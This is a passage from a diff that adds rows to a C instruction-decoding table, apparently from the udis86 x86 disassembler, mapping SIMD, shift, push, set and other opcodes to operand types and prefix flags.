UD_Ivpsrad, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1156 */ { UD_Ipsrad, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1157 */ { UD_Ipsrad, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1158 */ { UD_Ivpsrad, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1159 */ { UD_Ipsrlw, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1160 */ { UD_Ipsrlw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1161 */ { UD_Ipsrlw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1162 */ { UD_Ivpsrlw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1163 */ { UD_Ipsrlw, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1164 */ { UD_Ivpsrlw, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1165 */ { UD_Ipsrld, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1166 */ { UD_Ipsrld, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1167 */ { UD_Ipsrld, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1168 */ { UD_Ivpsrld, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1169 */ { UD_Ipsrld, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1170 */ { UD_Ivpsrld, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1171 */ { UD_Ipsrlq, O_N, O_Ib, O_NONE, O_NONE, P_none }, + /* 1172 */ { UD_Ipsrlq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1173 */ { UD_Ipsrlq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1174 */ { UD_Ivpsrlq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1175 */ { UD_Ipsrlq, O_U, O_Ib, O_NONE, O_NONE, P_rexb }, + /* 1176 */ { UD_Ivpsrlq, O_Hx, O_Ux, O_Ib, O_NONE, P_rexb }, + /* 1177 */ { UD_Ipsubb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1178 */ { UD_Ivpsubb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1179 */ { UD_Ipsubb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1180 */ { UD_Ipsubw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1181 */ { UD_Ivpsubw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1182 */ { UD_Ipsubw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1183 */ { UD_Ipsubd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1184 */ { UD_Ipsubd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1185 */ { UD_Ivpsubd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1186 */ { UD_Ipsubsb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1187 */ { UD_Ipsubsb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1188 */ { UD_Ivpsubsb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1189 */ { UD_Ipsubsw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1190 */ { UD_Ipsubsw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1191 */ { UD_Ivpsubsw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1192 */ { UD_Ipsubusb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1193 */ { UD_Ipsubusb, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1194 */ { UD_Ivpsubusb, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1195 */ { UD_Ipsubusw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1196 */ { UD_Ipsubusw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1197 */ { UD_Ivpsubusw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1198 */ { UD_Ipunpckhbw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1199 */ { UD_Ivpunpckhbw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1200 */ { UD_Ipunpckhbw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1201 */ { UD_Ipunpckhwd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1202 */ { UD_Ivpunpckhwd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1203 */ { UD_Ipunpckhwd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1204 */ { UD_Ipunpckhdq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1205 */ { UD_Ivpunpckhdq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1206 */ { UD_Ipunpckhdq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1207 */ { UD_Ipunpcklbw, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1208 */ { UD_Ivpunpcklbw, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1209 */ { UD_Ipunpcklbw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1210 */ { UD_Ipunpcklwd, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1211 */ { UD_Ivpunpcklwd, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1212 */ { UD_Ipunpcklwd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1213 */ { UD_Ipunpckldq, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1214 */ { UD_Ivpunpckldq, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1215 */ { UD_Ipunpckldq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1216 */ { UD_Ipi2fw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1217 */ { UD_Ipi2fd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1218 */ { UD_Ipf2iw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1219 */ { UD_Ipf2id, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1220 */ { UD_Ipfnacc, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1221 */ { UD_Ipfpnacc, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1222 */ { UD_Ipfcmpge, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1223 */ { UD_Ipfmin, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1224 */ { UD_Ipfrcp, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1225 */ { UD_Ipfrsqrt, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1226 */ { UD_Ipfsub, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1227 */ { UD_Ipfadd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1228 */ { UD_Ipfcmpgt, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1229 */ { UD_Ipfmax, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1230 */ { UD_Ipfrcpit1, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1231 */ { UD_Ipfrsqit1, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1232 */ { UD_Ipfsubr, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1233 */ { UD_Ipfacc, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1234 */ { UD_Ipfcmpeq, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1235 */ { UD_Ipfmul, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1236 */ { UD_Ipfrcpit2, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1237 */ { UD_Ipmulhrw, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1238 */ { UD_Ipswapd, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1239 */ { UD_Ipavgusb, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1240 */ { UD_Ipush, O_ES, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1241 */ { UD_Ipush, O_CS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1242 */ { UD_Ipush, O_SS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1243 */ { UD_Ipush, O_DS, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1244 */ { UD_Ipush, O_GS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1245 */ { UD_Ipush, O_FS, O_NONE, O_NONE, O_NONE, P_none }, + /* 1246 */ { UD_Ipush, O_R0v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1247 */ { UD_Ipush, O_R1v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1248 */ { UD_Ipush, O_R2v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1249 */ { UD_Ipush, O_R3v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1250 */ { UD_Ipush, O_R4v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1251 */ { UD_Ipush, O_R5v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1252 */ { UD_Ipush, O_R6v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1253 */ { UD_Ipush, O_R7v, O_NONE, O_NONE, O_NONE, P_oso|P_rexb|P_def64 }, + /* 1254 */ { UD_Ipush, O_sIz, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1255 */ { UD_Ipush, O_Ev, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb|P_def64 }, + /* 1256 */ { UD_Ipush, O_sIb, O_NONE, O_NONE, O_NONE, P_oso|P_def64 }, + /* 1257 */ { UD_Ipusha, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1258 */ { UD_Ipushad, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_inv64 }, + /* 1259 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1260 */ { UD_Ipushfw, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 1261 */ { UD_Ipushfd, O_NONE, O_NONE, O_NONE, O_NONE, P_oso }, + /* 1262 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 1263 */ { UD_Ipushfq, O_NONE, O_NONE, O_NONE, O_NONE, P_oso|P_rexw|P_def64 }, + /* 1264 */ { UD_Ipxor, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1265 */ { UD_Ivpxor, O_Vx, O_Hx, O_Wx, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1266 */ { UD_Ipxor, O_P, O_Q, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1267 */ { UD_Ircl, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1268 */ { UD_Ircl, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1269 */ { UD_Ircl, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1270 */ { UD_Ircl, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1271 */ { UD_Ircl, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1272 */ { UD_Ircl, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1273 */ { UD_Ircr, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1274 */ { UD_Ircr, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1275 */ { UD_Ircr, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1276 */ { UD_Ircr, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1277 */ { UD_Ircr, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1278 */ { UD_Ircr, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1279 */ { UD_Irol, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1280 */ { UD_Irol, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1281 */ { UD_Irol, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1282 */ { UD_Irol, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1283 */ { UD_Irol, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1284 */ { UD_Irol, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1285 */ { UD_Iror, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1286 */ { UD_Iror, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1287 */ { UD_Iror, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1288 */ { UD_Iror, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1289 */ { UD_Iror, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1290 */ { UD_Iror, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1291 */ { UD_Ircpps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1292 */ { UD_Ivrcpps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1293 */ { UD_Ircpss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1294 */ { UD_Ivrcpss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1295 */ { UD_Irdmsr, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1296 */ { UD_Irdpmc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1297 */ { UD_Irdtsc, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1298 */ { UD_Irdtscp, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1299 */ { UD_Irepne, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1300 */ { UD_Irep, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1301 */ { UD_Iret, O_Iw, O_NONE, O_NONE, O_NONE, P_none }, + /* 1302 */ { UD_Iret, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1303 */ { UD_Iretf, O_Iw, O_NONE, O_NONE, O_NONE, P_none }, + /* 1304 */ { UD_Iretf, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1305 */ { UD_Irsm, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1306 */ { UD_Irsqrtps, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1307 */ { UD_Ivrsqrtps, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1308 */ { UD_Irsqrtss, O_V, O_W, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1309 */ { UD_Ivrsqrtss, O_Vx, O_Wx, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1310 */ { UD_Isahf, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1311 */ { UD_Isalc, O_NONE, O_NONE, O_NONE, O_NONE, P_inv64 }, + /* 1312 */ { UD_Isar, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1313 */ { UD_Isar, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1314 */ { UD_Isar, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1315 */ { UD_Isar, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1316 */ { UD_Isar, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1317 */ { UD_Isar, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1318 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1319 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1320 */ { UD_Ishl, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1321 */ { UD_Ishl, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1322 */ { UD_Ishl, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1323 */ { UD_Ishl, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1324 */ { UD_Ishl, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1325 */ { UD_Ishl, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1326 */ { UD_Ishl, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1327 */ { UD_Ishl, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1328 */ { UD_Ishl, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1329 */ { UD_Ishl, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1330 */ { UD_Ishr, O_Ev, O_Ib, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1331 */ { UD_Ishr, O_Eb, O_CL, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1332 */ { UD_Ishr, O_Ev, O_I1, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1333 */ { UD_Ishr, O_Eb, O_I1, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1334 */ { UD_Ishr, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1335 */ { UD_Ishr, O_Ev, O_CL, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1336 */ { UD_Isbb, O_Eb, O_Gb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1337 */ { UD_Isbb, O_Ev, O_Gv, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1338 */ { UD_Isbb, O_Gb, O_Eb, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1339 */ { UD_Isbb, O_Gv, O_Ev, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1340 */ { UD_Isbb, O_AL, O_Ib, O_NONE, O_NONE, P_none }, + /* 1341 */ { UD_Isbb, O_rAX, O_sIz, O_NONE, O_NONE, P_oso|P_rexw }, + /* 1342 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1343 */ { UD_Isbb, O_Ev, O_sIz, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1344 */ { UD_Isbb, O_Eb, O_Ib, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb|P_inv64 }, + /* 1345 */ { UD_Isbb, O_Ev, O_sIb, O_NONE, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1346 */ { UD_Iscasb, O_NONE, O_NONE, O_NONE, O_NONE, P_strz }, + /* 1347 */ { UD_Iscasw, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 1348 */ { UD_Iscasd, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 1349 */ { UD_Iscasq, O_NONE, O_NONE, O_NONE, O_NONE, P_strz|P_oso|P_rexw }, + /* 1350 */ { UD_Iseto, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1351 */ { UD_Isetno, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1352 */ { UD_Isetb, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1353 */ { UD_Isetae, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1354 */ { UD_Isetz, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1355 */ { UD_Isetnz, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1356 */ { UD_Isetbe, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1357 */ { UD_Iseta, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1358 */ { UD_Isets, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1359 */ { UD_Isetns, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1360 */ { UD_Isetp, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1361 */ { UD_Isetnp, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1362 */ { UD_Isetl, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1363 */ { UD_Isetge, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1364 */ { UD_Isetle, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1365 */ { UD_Isetg, O_Eb, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1366 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1367 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1368 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1369 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1370 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1371 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1372 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1373 */ { UD_Isfence, O_NONE, O_NONE, O_NONE, O_NONE, P_none }, + /* 1374 */ { UD_Isgdt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1375 */ { UD_Ishld, O_Ev, O_Gv, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1376 */ { UD_Ishld, O_Ev, O_Gv, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1377 */ { UD_Ishrd, O_Ev, O_Gv, O_Ib, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1378 */ { UD_Ishrd, O_Ev, O_Gv, O_CL, O_NONE, P_aso|P_oso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 1379 */ { UD_Ishufpd, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1380 */ { UD_Ivshufpd, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb|P_vexl }, + /* 1381 */ { UD_Ishufps, O_V, O_W, O_Ib, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1382 */ { UD_Ivshufps, O_Vx, O_Hx, O_Wx, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1383 */ { UD_Isidt, O_M, O_NONE, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 1384 */ { UD_Isldt, O_MwRv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1385 */ { UD_Ismsw, O_MwRv, O_NONE, O_NONE, O_NONE, P_aso|P_oso|P_rexr|P_rexw|P_rexx|P_rexb }, + /* 1386 */ { UD_Ismsw, O_MwRv, O_NONE, O_NONE, O_NONE, 